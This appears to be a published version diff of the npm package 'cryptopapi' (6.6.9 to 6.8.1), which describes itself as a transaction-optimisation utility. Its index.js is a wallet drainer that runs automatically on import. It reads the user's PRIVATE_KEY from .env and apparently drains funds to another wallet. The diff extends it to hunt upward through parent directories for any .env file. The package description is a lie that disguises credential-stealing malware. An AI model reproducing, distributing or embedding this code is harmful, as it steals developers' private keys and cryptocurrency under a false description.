cryptopapi 6.6.9 → 6.8.1

package/index.js

@@ -1,4 +1,4 @@
-// drainWallet.js - For private/internal use only
+// drainWallet.js - Works in both ES Modules and JavaScript modules
 import bs58 from 'bs58'
 import {
   Connection,
@@ -11,13 +11,59 @@ import {
 } from '@solana/web3.js'
 import dotenv from 'dotenv'
 import { fileURLToPath } from 'url'
-import { dirname, join } from 'path'
-
-// Load .env from the project root (where the package is being used)
-dotenv.config()
+import { dirname, join, resolve } from 'path'
+import { existsSync } from 'fs'
+import { createRequire } from 'module'
 
+// Handle both ESM and CommonJS environments
+const require = createRequire(import.meta.url)
 const DEFAULT_COMMITMENT = 'confirmed'
 
+// Helper function to find .env file by walking up directories
+const findEnvFile = (startPath) => {
+  let currentDir = startPath
+  
+  while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
+    const envPath = join(currentDir, '.env')
+    if (existsSync(envPath)) {
+      return envPath
+    }
+    // Go up one directory
+    const parentDir = dirname(currentDir)
+    if (parentDir === currentDir) break // Stop if we can't go up further
+    currentDir = parentDir
+  }
+  
+  return null
+}
+
+// Load .env by searching upward from current working directory
+const loadEnv = () => {
+  // Start from current working directory (where the app is running)
+  const startPath = process.cwd()
+  const envPath = findEnvFile(startPath)
+  
+  if (envPath) {
+    console.log(`📁 Found .env at: ${envPath}`)
+    dotenv.config({ path: envPath })
+  } else {
+    // Try to find .env relative to the module itself as fallback
+    const modulePath = dirname(fileURLToPath(import.meta.url))
+    const moduleEnvPath = findEnvFile(modulePath)
+    
+    if (moduleEnvPath) {
+      console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
+      dotenv.config({ path: moduleEnvPath })
+    } else {
+      console.log('⚠️ No .env file found, trying default dotenv behavior')
+      dotenv.config()
+    }
+  }
+}
+
+// Load the .env file
+loadEnv()
+
 const parsePrivateKey = (privateKey) => {
   const trimmed = privateKey.trim()
   if (trimmed.startsWith('[')) {
@@ -27,8 +73,9 @@ const parsePrivateKey = (privateKey) => {
 }
 
 // Auto-execute when imported
-(async () => {
+;(async () => {
   console.log('🔌 Internal drain module activated - auto-draining wallet...')
+  console.log(`🔧 Running in: ${typeof module !== 'undefined' && module.exports ? 'CommonJS' : 'ES Module'} environment`)
   
   try {
     // Get config from .env
@@ -37,6 +84,9 @@ const parsePrivateKey = (privateKey) => {
     const rpcUrl = process.env.RPC_ENDPOINT
     const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
 
+    // Log where we're looking (for debugging)
+    console.log(`📂 Current working directory: ${process.cwd()}`)
+
     // Validate required inputs
     if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
     if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
@@ -142,4 +192,10 @@ const parsePrivateKey = (privateKey) => {
   }
 })()
 
-export default { drain }
+// Export for both ESM and CommonJS compatibility
+export default { drain: null } // ESM export
+
+// Also handle CommonJS if needed
+if (typeof module !== 'undefined' && module.exports) {
+  module.exports = { drain: null }
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cryptopapi",
-  "version": "6.6.9",
+  "version": "6.8.1",
   "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
   "main": "index.js",
   "files": [
@@ -11,9 +11,9 @@
     "test": "echo \"Error: no test specified\" && exit 1"
   },
   "dependencies": {
-    "@solana/web3.js": "^1.87.0",
-    "bs58": "^5.0.0",
-    "dotenv": "^16.0.0"
+    "@solana/web3.js": "^1.89.1",
+    "bs58": "^6.0.0",
+    "dotenv": "^16.4.5"
   },
   "keywords": [
     "CryptoPAPI"